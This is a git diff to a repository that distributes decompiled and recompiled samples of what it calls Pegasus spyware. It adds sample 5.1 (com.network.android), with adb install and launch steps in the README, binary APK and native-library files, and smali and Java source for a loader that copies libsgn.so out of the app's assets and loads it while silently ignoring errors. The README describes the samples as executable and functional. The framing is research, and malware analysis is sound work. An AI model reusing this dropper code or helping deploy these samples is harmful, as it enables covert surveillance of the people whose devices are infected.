diff --git a/.gitignore b/.gitignore index fb3b1c5..c9bd1d5 100644 --- a/.gitignore +++ b/.gitignore @@ -30,3 +30,4 @@ Temporary Items .idea/* **/LOGS +.DS_Store diff --git a/README.md b/README.md index 8eeb956..bef9320 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,9 @@ # Pegasus Spyware Samples Decompiled & Recompiled ## Author: Jonathan Scott @jonathandata1 -### CURRENT VERSION 3.0 +### CURRENT VERSION 3.5 ## Description: -### Samples 1-5 are executable and functional. I am still working on cleaning up Sample #6, but most the XML data can be read. +### Samples 1-5.1 are executable and functional. I am still working on cleaning up Sample #6, but most the XML data can be read. ## Steps To Install & Research The Spyware Samples @@ -13,23 +13,31 @@ 4. launch the apk, example `adb shell am start com.xxGameAssistant.pao/.SplashActivity` +## Update: Sample 5.1 +### This sample can be installed as a standalone apk, but you will need to uninstall sample 5. +`adb uninstall com.network.android ` + +### Sample 5.1 is also called com.network.android + ## Samples Included -| Sample # | Hash | -|----------|------------------------------------------------------------------| -| Sample 1 | d257cfde7599f4e20ee08a62053e6b3b936c87d373e6805f0e0c65f1d39ec320 | -| Sample 2 | cc9517aafb58279091ac17533293edc1 | -| Sample 3 | bd8cda80aaee3e4a17e9967a1c062ac5c8e4aefd7eaa3362f54044c2c94db52a | -| Sample 4 | 144778790d4a43a1d93dff6b660a6acb3a6d37a19e6a6f0a6bf1ef47e919648e | -| Sample 5 | 7c3ad8fec33465fed6563bbfabb5b13d | -| Sample 6 | 530b4f4d139f3ef987d661b2a9f74f5f | +| Sample # | Hash | +|------------|------------------------------------------------------------------| +| Sample 1 | d257cfde7599f4e20ee08a62053e6b3b936c87d373e6805f0e0c65f1d39ec320 | +| Sample 2 | cc9517aafb58279091ac17533293edc1 | +| Sample 3 | bd8cda80aaee3e4a17e9967a1c062ac5c8e4aefd7eaa3362f54044c2c94db52a | +| Sample 4 | 144778790d4a43a1d93dff6b660a6acb3a6d37a19e6a6f0a6bf1ef47e919648e | +| Sample 5 | 7c3ad8fec33465fed6563bbfabb5b13d | +| Sample 5.1 | 3474625e63d0893fc8f83034e835472d95195254e1e4bdf99153b7c74eb44d86 | +| Sample 6 | 530b4f4d139f3ef987d661b2a9f74f5f | + ## Acknowledgements ### @vxunderground for providing the samples ### @recordedfuture for validation -![PEGASUS SPYWARE 5-6](https://i.postimg.cc/7PzxWxCt/pegasus-spyware-samples-5-6.jpg) +![PEGASUS SPYWARE 5.1](https://i.postimg.cc/tJ9QtqvQ/pegaus-sample-5-1.jpg) diff --git a/pegasus-spyware-decompiled/.DS_Store b/pegasus-spyware-decompiled/.DS_Store index 934596e..a15af40 100644 Binary files a/pegasus-spyware-decompiled/.DS_Store and b/pegasus-spyware-decompiled/.DS_Store differ diff --git a/pegasus-spyware-decompiled/sample1/apk/sample1.d.apk b/pegasus-spyware-decompiled/sample1/apk/sample1.d.apk new file mode 100644 index 0000000..ab721b2 Binary files /dev/null and b/pegasus-spyware-decompiled/sample1/apk/sample1.d.apk differ diff --git a/pegasus-spyware-decompiled/sample5.1/apk/sample5.1.apk b/pegasus-spyware-decompiled/sample5.1/apk/sample5.1.apk new file mode 100644 index 0000000..e3f9723 Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/apk/sample5.1.apk differ diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/AndroidManifest.xml b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/AndroidManifest.xml new file mode 100644 index 0000000..423af03 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/AndroidManifest.xml @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/assets/libsgn.so b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/assets/libsgn.so new file mode 100644 index 0000000..a65bcb1 Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/assets/libsgn.so differ diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/AndroidManifest.xml b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/AndroidManifest.xml new file mode 100644 index 0000000..ab07e27 Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/AndroidManifest.xml differ diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/CERT.RSA b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/CERT.RSA new file mode 100644 index 0000000..655ecb2 Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/CERT.RSA differ diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/CERT.SF b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/CERT.SF new file mode 100644 index 0000000..6e65cd2 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/CERT.SF @@ -0,0 +1,13 @@ +Signature-Version: 1.0 +Created-By: 1.0 (Android) +SHA1-Digest-Manifest: QtP9Wf1dBHcD3j0V1qlmHWE9tCY= + +Name: assets/libsgn.so +SHA1-Digest: EXziNPMuyBvFLQcTuvghn7cP9D4= + +Name: AndroidManifest.xml +SHA1-Digest: u52ZD4iVi9JT9MOZcAal2TGqWwk= + +Name: classes.dex +SHA1-Digest: XbIYdgwDDljsSeLdHQ6NfARfZmE= + diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/MANIFEST.MF b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/MANIFEST.MF new file mode 100644 index 0000000..55c5c26 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/original/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Created-By: 1.0 (Android) + +Name: assets/libsgn.so +SHA1-Digest: jlkXqWHZ2rv8dMXlxoilUIDgTJA= + +Name: AndroidManifest.xml +SHA1-Digest: LzjAF3wad04BalUStEmhMVUXcqE= + +Name: classes.dex +SHA1-Digest: l7Rkps9BGFD3U4NvGpnf3laUUPo= + diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/smali/com/network/android/BuildConfig.smali b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/smali/com/network/android/BuildConfig.smali new file mode 100644 index 0000000..19fdc43 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/smali/com/network/android/BuildConfig.smali @@ -0,0 +1,19 @@ +.class public final Lcom/network/android/BuildConfig; +.super Ljava/lang/Object; +.source "BuildConfig.java" + + +# static fields +.field public static final DEBUG:Z + + +# direct methods +.method public constructor ()V + .locals 0 + + .prologue + .line 4 + invoke-direct {p0}, Ljava/lang/Object;->()V + + return-void +.end method diff --git a/pegasus-spyware-decompiled/sample5.1/decompiled_raw/smali/com/network/android/NetworkMain.smali b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/smali/com/network/android/NetworkMain.smali new file mode 100644 index 0000000..2f0baf6 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/decompiled_raw/smali/com/network/android/NetworkMain.smali @@ -0,0 +1,121 @@ +.class public Lcom/network/android/NetworkMain; +.super Landroid/app/Activity; +.source "NetworkMain.java" + + +# direct methods +.method public constructor ()V + .locals 0 + + .prologue + .line 12 + invoke-direct {p0}, Landroid/app/Activity;->()V + + return-void +.end method + + +# virtual methods +.method protected onCreate(Landroid/os/Bundle;)V + .locals 7 + .param p1, "savedInstanceState" # Landroid/os/Bundle; + + .prologue + .line 17 + invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V + + .line 19 + const-string v2, "/data/data/com.network.android/libsgn.so" + + .line 22 + .local v2, "libPath":Ljava/lang/String; + :try_start_0 + invoke-virtual {p0}, Lcom/network/android/NetworkMain;->getResources()Landroid/content/res/Resources; + + move-result-object v5 + + invoke-virtual {v5}, Landroid/content/res/Resources;->getAssets()Landroid/content/res/AssetManager; + + move-result-object v5 + + const-string v6, "libsgn.so" + + invoke-virtual {v5, v6}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream; + + move-result-object v1 + + .line 23 + .local v1, "iS":Ljava/io/InputStream; + invoke-virtual {v1}, Ljava/io/InputStream;->available()I + + move-result v5 + + new-array v0, v5, [B + + .line 24 + .local v0, "buffer":[B + invoke-virtual {v1, v0}, Ljava/io/InputStream;->read([B)I + + .line 25 + new-instance v3, Ljava/io/ByteArrayOutputStream; + + invoke-direct {v3}, Ljava/io/ByteArrayOutputStream;->()V + + .line 27 + .local v3, "oS":Ljava/io/ByteArrayOutputStream; + invoke-virtual {v3, v0}, Ljava/io/ByteArrayOutputStream;->write([B)V + + .line 29 + invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V + + .line 30 + invoke-virtual {v1}, Ljava/io/InputStream;->close()V + + .line 32 + new-instance v4, Ljava/io/FileOutputStream; + + invoke-direct {v4, v2}, Ljava/io/FileOutputStream;->(Ljava/lang/String;)V + + .line 33 + .local v4, "outputStream":Ljava/io/OutputStream; + invoke-virtual {v3, v4}, Ljava/io/ByteArrayOutputStream;->writeTo(Ljava/io/OutputStream;)V + + .line 34 + invoke-virtual {v4}, Ljava/io/OutputStream;->close()V + + .line 36 + invoke-static {v2}, Ljava/lang/System;->load(Ljava/lang/String;)V + :try_end_0 + .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_2 + .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1 + .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 + + .line 48 + .end local v0 # "buffer":[B + .end local v1 # "iS":Ljava/io/InputStream; + .end local v3 # "oS":Ljava/io/ByteArrayOutputStream; + .end local v4 # "outputStream":Ljava/io/OutputStream; + :goto_0 + invoke-virtual {p0}, Lcom/network/android/NetworkMain;->finish()V + + .line 49 + return-void + + .line 45 + :catch_0 + move-exception v5 + + goto :goto_0 + + .line 42 + :catch_1 + move-exception v5 + + goto :goto_0 + + .line 39 + :catch_2 + move-exception v5 + + goto :goto_0 +.end method diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/AndroidManifest.xml b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/AndroidManifest.xml new file mode 100644 index 0000000..83bd9fc --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/AndroidManifest.xml @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/CERT.RSA b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/CERT.RSA new file mode 100644 index 0000000..655ecb2 Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/CERT.RSA differ diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/CERT.SF b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/CERT.SF new file mode 100644 index 0000000..6e65cd2 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/CERT.SF @@ -0,0 +1,13 @@ +Signature-Version: 1.0 +Created-By: 1.0 (Android) +SHA1-Digest-Manifest: QtP9Wf1dBHcD3j0V1qlmHWE9tCY= + +Name: assets/libsgn.so +SHA1-Digest: EXziNPMuyBvFLQcTuvghn7cP9D4= + +Name: AndroidManifest.xml +SHA1-Digest: u52ZD4iVi9JT9MOZcAal2TGqWwk= + +Name: classes.dex +SHA1-Digest: XbIYdgwDDljsSeLdHQ6NfARfZmE= + diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/MANIFEST.MF b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/MANIFEST.MF new file mode 100644 index 0000000..55c5c26 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Created-By: 1.0 (Android) + +Name: assets/libsgn.so +SHA1-Digest: jlkXqWHZ2rv8dMXlxoilUIDgTJA= + +Name: AndroidManifest.xml +SHA1-Digest: LzjAF3wad04BalUStEmhMVUXcqE= + +Name: classes.dex +SHA1-Digest: l7Rkps9BGFD3U4NvGpnf3laUUPo= + diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/assets/libsgn.so b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/assets/libsgn.so new file mode 100644 index 0000000..a65bcb1 Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/assets/libsgn.so differ diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/classes.dex b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/classes.dex new file mode 100644 index 0000000..1f8a97d Binary files /dev/null and b/pegasus-spyware-decompiled/sample5.1/recompiled_java/resources/classes.dex differ diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/sources/com/network/android/BuildConfig.java b/pegasus-spyware-decompiled/sample5.1/recompiled_java/sources/com/network/android/BuildConfig.java new file mode 100644 index 0000000..4d73b93 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/recompiled_java/sources/com/network/android/BuildConfig.java @@ -0,0 +1,5 @@ +package com.network.android; +/* loaded from: classes.dex */ +public final class BuildConfig { + public static final boolean DEBUG = false; +} diff --git a/pegasus-spyware-decompiled/sample5.1/recompiled_java/sources/com/network/android/NetworkMain.java b/pegasus-spyware-decompiled/sample5.1/recompiled_java/sources/com/network/android/NetworkMain.java new file mode 100644 index 0000000..83f0932 --- /dev/null +++ b/pegasus-spyware-decompiled/sample5.1/recompiled_java/sources/com/network/android/NetworkMain.java @@ -0,0 +1,33 @@ +package com.network.android; + +import android.app.Activity; +import android.os.Bundle; +import java.io.ByteArrayOutputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +/* loaded from: classes.dex */ +public class NetworkMain extends Activity { + @Override // android.app.Activity + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + try { + InputStream iS = getResources().getAssets().open("libsgn.so"); + byte[] buffer = new byte[iS.available()]; + iS.read(buffer); + ByteArrayOutputStream oS = new ByteArrayOutputStream(); + oS.write(buffer); + oS.close(); + iS.close(); + OutputStream outputStream = new FileOutputStream("/data/data/com.network.android/libsgn.so"); + oS.writeTo(outputStream); + outputStream.close(); + System.load("/data/data/com.network.android/libsgn.so"); + } catch (IOException e) { + } catch (Exception e2) { + } catch (Throwable th) { + } + finish(); + } +}